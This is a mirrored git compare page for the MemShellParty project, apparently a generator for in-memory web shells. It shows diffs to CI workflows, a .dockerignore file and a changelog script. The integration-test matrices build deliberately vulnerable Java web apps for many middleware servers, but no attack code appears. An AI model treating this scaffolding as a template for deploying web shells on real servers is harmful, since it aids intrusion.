mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 | ||
|
|
0192aa58ea | ||
|
|
00b807f5f8 | ||
|
|
cd189a74f7 | ||
|
|
690cfb833f | ||
|
|
45f2bb148d | ||
|
|
e7a14bf2e3 | ||
|
|
28fb25781b | ||
|
|
58f471ca2c | ||
|
|
db87c3f317 | ||
|
|
5635deff23 | ||
|
|
bda018b93f | ||
|
|
4d36c0bc8f | ||
|
|
ad4a0cf2bf | ||
|
|
9c820f9d29 | ||
|
|
a48442fcab | ||
|
|
68791f6c15 | ||
|
|
479b2a0c16 | ||
|
|
a148fa1cb9 | ||
|
|
116f1034b0 | ||
|
|
db55765fdf | ||
|
|
8b67d639bd | ||
|
|
cead11c781 | ||
|
|
43dc5ca398 | ||
|
|
ede78f3efc | ||
|
|
72370a3b84 | ||
|
|
ad248f0703 | ||
|
|
358f66ff01 | ||
|
|
76a78f14e0 | ||
|
|
33a9008ecb | ||
|
|
b27b40c543 | ||
|
|
74cc792dc6 | ||
|
|
348e86079a | ||
|
|
d4160d9a94 | ||
|
|
19c40e0e2d | ||
|
|
b49af93bec | ||
|
|
d9e3e03def | ||
|
|
bba2b2d211 | ||
|
|
56f0e8001d | ||
|
|
2f80ecb020 | ||
|
|
b3bda20f2c | ||
|
|
be5a2089d2 | ||
|
|
9d2e8125d9 | ||
|
|
8964769be8 | ||
|
|
3acab6e620 | ||
|
|
5148414ca8 | ||
|
|
0b10a55f66 | ||
|
|
cbf2d02808 | ||
|
|
775fc38abe | ||
|
|
6b3f4a2606 | ||
|
|
52c720572f | ||
|
|
5e2242665b | ||
|
|
cdd145d0b2 | ||
|
|
18aa8ed60d | ||
|
|
3e40763724 | ||
|
|
eda6134262 | ||
|
|
9d81160b33 | ||
|
|
115b57c62e | ||
|
|
1b8a845635 | ||
|
|
3ccbd14256 | ||
|
|
56510c89db | ||
|
|
358184f71b | ||
|
|
6ee9e31aa8 | ||
|
|
501f7a2d10 | ||
|
|
8b3c23241a | ||
|
|
3af560a5e0 | ||
|
|
a8d1b5e29a | ||
|
|
21f9af2f70 | ||
|
|
583abbf9ba | ||
|
|
e71f980991 | ||
|
|
d9c3bcb5dd | ||
|
|
61905e35ca | ||
|
|
27f3a7b206 | ||
|
|
bcb9d23f64 | ||
|
|
d993a54fa9 | ||
|
|
7eb8baeaf2 | ||
|
|
591375f522 | ||
|
|
6436d404d7 | ||
|
|
ef487f86d2 | ||
|
|
011f919e2a | ||
|
|
f8624f0e72 | ||
|
|
b287fcd36f | ||
|
|
7fb404f04f | ||
|
|
45dc276300 | ||
|
|
e811ca56ae | ||
|
|
58dd08754d | ||
|
|
6145918df7 | ||
|
|
6671dec9e6 | ||
|
|
f53c0655d4 | ||
|
|
1bcecaa151 | ||
|
|
e21b397699 | ||
|
|
cd870594b0 | ||
|
|
067dae90ff | ||
|
|
69b5b5e99f | ||
|
|
29edaf173a | ||
|
|
4f8ab4d16a | ||
|
|
ee3bab6876 | ||
|
|
6523ecd554 | ||
|
|
f97c0cd3db | ||
|
|
7da215bd35 | ||
|
|
8171da5df3 | ||
|
|
92e38ae004 | ||
|
|
6113ea717f | ||
|
|
a6cc7705c3 | ||
|
|
84b884a3d8 | ||
|
|
828b7b8400 | ||
|
|
786e58cafc | ||
|
|
5ce3e67dc4 | ||
|
|
94e29588bb | ||
|
|
fa1ca573ae | ||
|
|
78795f3b95 | ||
|
|
3efe814d30 | ||
|
|
8d7ed8c4ee | ||
|
|
cc58c2ef87 | ||
|
|
4f69497680 | ||
|
|
c046d466db | ||
|
|
9291281a4e | ||
|
|
50234947b7 | ||
|
|
075ce8c515 | ||
|
|
ca4c1d6e4b | ||
|
|
d4067caee5 | ||
|
|
cf65fbb53c | ||
|
|
962914fa8d | ||
|
|
f90f0f0713 | ||
|
|
a64238eea0 | ||
|
|
ce11635876 | ||
|
|
1015c55b6d | ||
|
|
8ed16fc818 | ||
|
|
24a9b563e6 | ||
|
|
8d5af74733 | ||
|
|
363d0591dc | ||
|
|
fe1a443c0d | ||
|
|
113b174837 | ||
|
|
f42424ba7c | ||
|
|
19ecd109fc | ||
|
|
9f763906ae | ||
|
|
be91430bd5 | ||
|
|
5bed6c877d | ||
|
|
633508ceda | ||
|
|
e26cb37805 | ||
|
|
3efda487e9 | ||
|
|
f92d7207c8 | ||
|
|
5540016f12 | ||
|
|
0402065457 | ||
|
|
9fae3847ae | ||
|
|
f4bc254ed3 | ||
|
|
a1d4a6d8fa | ||
|
|
7afa5d97f6 | ||
|
|
a6f5ee96d6 | ||
|
|
1f04701cc1 | ||
|
|
b272c9739b | ||
|
|
b5903f39fa | ||
|
|
99c53b6287 | ||
|
|
1dfc28cd33 | ||
|
|
c44ae3ad4f | ||
|
|
b5031012ba | ||
|
|
5340de9b71 | ||
|
|
f71657b11c | ||
|
|
d6612d7630 | ||
|
|
858212cd9c | ||
|
|
8e36beaad1 | ||
|
|
d511a8346f | ||
|
|
b8116ac0a5 | ||
|
|
155310a685 | ||
|
|
a6a1cff2c4 | ||
|
|
7ae28d5457 | ||
|
|
8a909971f1 | ||
|
|
371402c144 | ||
|
|
2b34b80e40 | ||
|
|
b694073f33 | ||
|
|
2f2ef8a774 | ||
|
|
86734f8485 | ||
|
|
393693b89b | ||
|
|
2da2e180cb | ||
|
|
8e741b6647 | ||
|
|
717c81571b | ||
|
|
2ec43d97dd | ||
|
|
c9a536d2fd | ||
|
|
74a919c6ec | ||
|
|
e123c7485e | ||
|
|
d6d10dead0 | ||
|
|
696814fd2c | ||
|
|
87147d738a | ||
|
|
c205e69563 | ||
|
|
dddbc15dd8 | ||
|
|
77ae8c1559 | ||
|
|
3fe380ef8a | ||
|
|
a54c307bd5 | ||
|
|
3d14f0113e | ||
|
|
b1d449538d | ||
|
|
4f1634a843 | ||
|
|
8fe2b47805 | ||
|
|
c30e99a92c | ||
|
|
5f4880e72a | ||
|
|
b7326a386b | ||
|
|
6b9655bb6c | ||
|
|
f9b109d922 | ||
|
|
ee82fc102d | ||
|
|
cfa4bfdb1d | ||
|
|
889d1d87c7 | ||
|
|
bea468a311 | ||
|
|
e31d8e751d | ||
|
|
92bda08567 | ||
|
|
d052177731 | ||
|
|
76dab18099 | ||
|
|
6e729d0e35 | ||
|
|
328939db6a | ||
|
|
32c5242c52 | ||
|
|
c860bbfd87 | ||
|
|
b32c9e701e | ||
|
|
41c193074e | ||
|
|
eaf6a81c85 | ||
|
|
22392829e5 | ||
|
|
65a7fd46e3 | ||
|
|
7dd02f4431 | ||
|
|
54f38e48d2 | ||
|
|
c232e64b13 | ||
|
|
78e9401492 | ||
|
|
a5c8058cad | ||
|
|
3189ef8f70 | ||
|
|
c859655e3a | ||
|
|
1272ee46b4 | ||
|
|
b83a72a3c8 | ||
|
|
89e4c796b4 | ||
|
|
ff3c1f2c49 | ||
|
|
2dc406df34 | ||
|
|
6c23a15034 | ||
|
|
6b81791ff5 | ||
|
|
6ba96f5e5a | ||
|
|
21df9f8273 | ||
|
|
4219f1ba9d | ||
|
|
0d69049506 | ||
|
|
385e1e0102 | ||
|
|
12fde31663 | ||
|
|
9f1f4b76aa | ||
|
|
4d1291f209 | ||
|
|
43653b2a1b | ||
|
|
514f13f515 | ||
|
|
ff69716423 | ||
|
|
fc431b9ace | ||
|
|
944e72f8c5 | ||
|
|
7be31dc481 | ||
|
|
dfc714862e | ||
|
|
c7c4b8be84 | ||
|
|
75019e9847 | ||
|
|
c6f13dde5e | ||
|
|
fcbec8db19 | ||
|
|
b9f307dd7b | ||
|
|
a895826bdb | ||
|
|
527dad824e | ||
|
|
534db31fa0 | ||
|
|
2b00c96a06 | ||
|
|
22e3b9ab24 | ||
|
|
901483c1db | ||
|
|
c9351dcd68 | ||
|
|
845fbd5529 | ||
|
|
fe2192396a | ||
|
|
63c0d89462 | ||
|
|
2436c707db | ||
|
|
c49d3e1909 | ||
|
|
7f9276364a | ||
|
|
57feb7809c | ||
|
|
6e330bb9c1 | ||
|
|
8fcca5b70e | ||
|
|
f3b3ca7b2e | ||
|
|
5ec6f6c3cc | ||
|
|
699169d277 | ||
|
|
6197d66ee8 | ||
|
|
7efbff4a45 | ||
|
|
37e336e088 | ||
|
|
65fb0a05df | ||
|
|
6bdc47a7d5 | ||
|
|
9ed876297a | ||
|
|
74cb677e98 | ||
|
|
13ddea499a | ||
|
|
82fddf702f | ||
|
|
8530797a54 | ||
|
|
6d12cbba36 | ||
|
|
992aa8a29d | ||
|
|
4ddf8dd3d1 | ||
|
|
6d7a665ba7 | ||
|
|
15e3af9374 | ||
|
|
c39075eaae | ||
|
|
6c523c55c7 | ||
|
|
bb76313410 | ||
|
|
1f4a19dd83 | ||
|
|
385de37d56 | ||
|
|
7ddf2c09c4 | ||
|
|
40c036ab92 | ||
|
|
59b0aeaaca | ||
|
|
3756197bab | ||
|
|
6020e5eaa9 | ||
|
|
9360408f6d | ||
|
|
0cd08f2a6c | ||
|
|
1ff8fa6128 | ||
|
|
c07fcc28a4 | ||
|
|
cfc4c0531f | ||
|
|
13cbbdb54f | ||
|
|
4feeca1ca8 | ||
|
|
64f8724903 | ||
|
|
4f4384838a | ||
|
|
c72ae586a2 | ||
|
|
d7a40f74b8 | ||
|
|
0e250cac90 | ||
|
|
209fc378d0 | ||
|
|
d541041f51 | ||
|
|
6617d9cc16 | ||
|
|
ec42992c8a | ||
|
|
3004221fad | ||
|
|
98b955673b | ||
|
|
a7cee2ea21 | ||
|
|
b6e6b69339 | ||
|
|
cc05dc3934 | ||
|
|
61bf9d25bb | ||
|
|
ffbe1e454b | ||
|
|
85576ab6c7 | ||
|
|
365f4efea0 | ||
|
|
a0d6cbee82 | ||
|
|
421f011974 | ||
|
|
0035d1f6a5 | ||
|
|
ba9a7878e0 | ||
|
|
75ea80f153 | ||
|
|
9c5aabb8f0 | ||
|
|
7887a48fa8 | ||
|
|
c07e1fcf19 | ||
|
|
d2036b87f4 | ||
|
|
b09b671831 | ||
|
|
d3d3c0186d | ||
|
|
706e2b06d4 | ||
|
|
e0345767d6 | ||
|
|
7d697fe2ec | ||
|
|
14c62376d7 | ||
|
|
065c111ad7 | ||
|
|
f3da4292bb | ||
|
|
ed51f01b29 | ||
|
|
81007167ff | ||
|
|
288766eb9c | ||
|
|
b8d4c91a1f | ||
|
|
46dff40932 | ||
|
|
f7bf419f31 | ||
|
|
9fe244e9ca | ||
|
|
b0ef130e87 | ||
|
|
714fa99c90 | ||
|
|
1a12d426dc | ||
|
|
00c36ab90d | ||
|
|
0e7aa6b0b0 | ||
|
|
96a00c9dcc | ||
|
|
886d808f31 | ||
|
|
b6c881c5cb | ||
|
|
400a7bfab7 | ||
|
|
b78984b858 | ||
|
|
21afe14ccd | ||
|
|
7fa4dee03b | ||
|
|
e718af7440 | ||
|
|
a530d77351 | ||
|
|
671aef548b | ||
|
|
9661eefc3e | ||
|
|
d620212eb0 | ||
|
|
7d3eb11be6 | ||
|
|
f0905d83a8 | ||
|
|
65c9d5847d | ||
|
|
bbeff2726d | ||
|
|
a20f760cd5 | ||
|
|
56d5410279 | ||
|
|
0cc70940c3 | ||
|
|
d148261a37 | ||
|
|
2660076eda | ||
|
|
05b85670d5 | ||
|
|
b904fe0851 | ||
|
|
c904f313e2 | ||
|
|
7a453faeb0 |
@@ -1,19 +0,0 @@
|
|||||||
.git
|
|
||||||
.gradle
|
|
||||||
.idea
|
|
||||||
.vscode
|
|
||||||
.DS_Store
|
|
||||||
|
|
||||||
**/.DS_Store
|
|
||||||
**/.gradle
|
|
||||||
**/build
|
|
||||||
**/bin
|
|
||||||
|
|
||||||
web/.react-router
|
|
||||||
web/.source
|
|
||||||
web/build
|
|
||||||
web/node_modules
|
|
||||||
|
|
||||||
integration-test
|
|
||||||
tools
|
|
||||||
vul
|
|
||||||
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../web/content/docs/changelog.mdx") as f:
|
with open("../../CHANGELOG.md") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -6,32 +6,26 @@ on:
|
|||||||
- dev
|
- dev
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'web/**'
|
||||||
- '**.md'
|
- '**.md'
|
||||||
- '**/*.png'
|
- '**/*.png'
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
strategy:
|
runs-on: ubuntu-latest
|
||||||
matrix:
|
|
||||||
os: [ubuntu-latest, windows-latest]
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v5
|
uses: actions/setup-java@v4
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v6
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v6
|
|
||||||
with:
|
|
||||||
node-version: 22
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
@@ -42,78 +36,48 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Linux)
|
- name: Build Boot with Gradle
|
||||||
if: matrix.os == 'ubuntu-latest'
|
run: ./gradlew -Pversion=dev :boot:bootjar -x test
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Build Boot with Gradle (Windows)
|
- name: Upload Boot Jar
|
||||||
if: matrix.os == 'windows-latest'
|
uses: actions/upload-artifact@v4
|
||||||
run: ./gradlew.bat :boot:test :boot:bootjar
|
|
||||||
|
|
||||||
- name: Upload Boot Jar (Linux)
|
|
||||||
if: matrix.os == 'ubuntu-latest'
|
|
||||||
uses: actions/upload-artifact@v7
|
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/*.jar
|
path: boot/build/libs/boot-dev.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v6
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v8
|
uses: actions/download-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v4
|
uses: docker/login-action@v3
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v4
|
uses: docker/setup-qemu-action@v3
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v4
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v7
|
uses: docker/build-push-action@v6
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
push: true
|
push: true
|
||||||
tags: docker.io/reajason/memshell-party:dev
|
tags: docker.io/reajason/memshell-party:dev
|
||||||
|
|
||||||
deploy-maven:
|
|
||||||
name: Deploy to Maven Central
|
|
||||||
needs: [ build-jar ]
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Publish with Gradle
|
|
||||||
env:
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
|
||||||
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
|
||||||
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
|
||||||
run: ./gradlew publishAllToMavenCentral
|
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
needs: [ docker-push ]
|
needs: [ docker-push ]
|
||||||
|
|||||||
@@ -1,42 +0,0 @@
|
|||||||
name: Docker Build Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'examples/**'
|
|
||||||
- 'vul/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
docker-build-test:
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
- name: Build Docker image
|
|
||||||
run: |
|
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
|
||||||
docker images
|
|
||||||
- name: Run Docker container
|
|
||||||
run: |
|
|
||||||
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
|
||||||
sleep 10
|
|
||||||
- name: Test with curl
|
|
||||||
run: |
|
|
||||||
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/api/version) -eq 200 ]]; then
|
|
||||||
echo "Test successful!"
|
|
||||||
else
|
|
||||||
echo "Test failed!"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
name: docker-push
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
inputs:
|
|
||||||
path:
|
|
||||||
description: 'Path'
|
|
||||||
required: true
|
|
||||||
default: '/redqueen-memshell-party'
|
|
||||||
tag:
|
|
||||||
description: "Tag"
|
|
||||||
required: true
|
|
||||||
default: "redqueen"
|
|
||||||
jobs:
|
|
||||||
docker-push:
|
|
||||||
name: Docker Push
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- uses: actions/checkout@v6
|
|
||||||
- name: Login to Docker Hub
|
|
||||||
uses: docker/login-action@v4
|
|
||||||
with:
|
|
||||||
registry: docker.io
|
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up QEMU
|
|
||||||
uses: docker/setup-qemu-action@v4
|
|
||||||
- name: Set up Docker Buildx
|
|
||||||
uses: docker/setup-buildx-action@v4
|
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
|
||||||
uses: docker/build-push-action@v7
|
|
||||||
with:
|
|
||||||
context: .
|
|
||||||
platforms: linux/amd64,linux/arm64
|
|
||||||
build-args: |
|
|
||||||
ROUTE_ROOT_PATH=${{ inputs.path }}
|
|
||||||
CONTEXT_PATH=${{ inputs.path }}
|
|
||||||
push: true
|
|
||||||
tags: |
|
|
||||||
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
|
||||||
@@ -1,90 +0,0 @@
|
|||||||
name: MemShell IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- './github/workflows/memshell-integration-test.yml'
|
|
||||||
- '**/memshell/**'
|
|
||||||
- '**/packer/**'
|
|
||||||
- '**/dubbo/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
memshell-integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
|
|
||||||
- middleware: "springwebflux"
|
|
||||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
|
|
||||||
- middleware: "xxljob"
|
|
||||||
depend_tasks: ""
|
|
||||||
- middleware: "struts2"
|
|
||||||
depend_tasks: ":vul:vul-struts2:war"
|
|
||||||
- middleware: "jenkins"
|
|
||||||
depend_tasks: ""
|
|
||||||
- middleware: "geronimo"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "dubbo"
|
|
||||||
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
|
|
||||||
runs-on: ubuntu-22.04
|
|
||||||
name: ${{ matrix.cases.middleware }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v6
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v5
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v6
|
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
if: matrix.cases.middleware != 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
|
||||||
|
|
||||||
- name: Dubbo Integration Test with gradle
|
|
||||||
if: matrix.cases.middleware == 'dubbo'
|
|
||||||
run: ./gradlew :integration-test:dubboContainerTest --info
|
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
uses: mikepenz/action-junit-report@v5
|
|
||||||
if: success() || failure()
|
|
||||||
with:
|
|
||||||
report_paths: '**/build/test-results/*/TEST-*.xml'
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
name: Probe IntegrationTest
|
|
||||||
|
|
||||||
on:
|
|
||||||
workflow_dispatch:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths:
|
|
||||||
- '**/probe/**'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
cases:
|
|
||||||
- middleware: "tomcat"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jetty"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "jbossas"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "jbosseap"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "wildfly"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "glassfish"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "resin"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "payara"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
|
||||||
- middleware: "websphere"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "websphere7"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war"
|
|
||||||
- middleware: "weblogic"
|
|
||||||
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
|
|
||||||
- middleware: "springwebmvc"
|
|
||||||
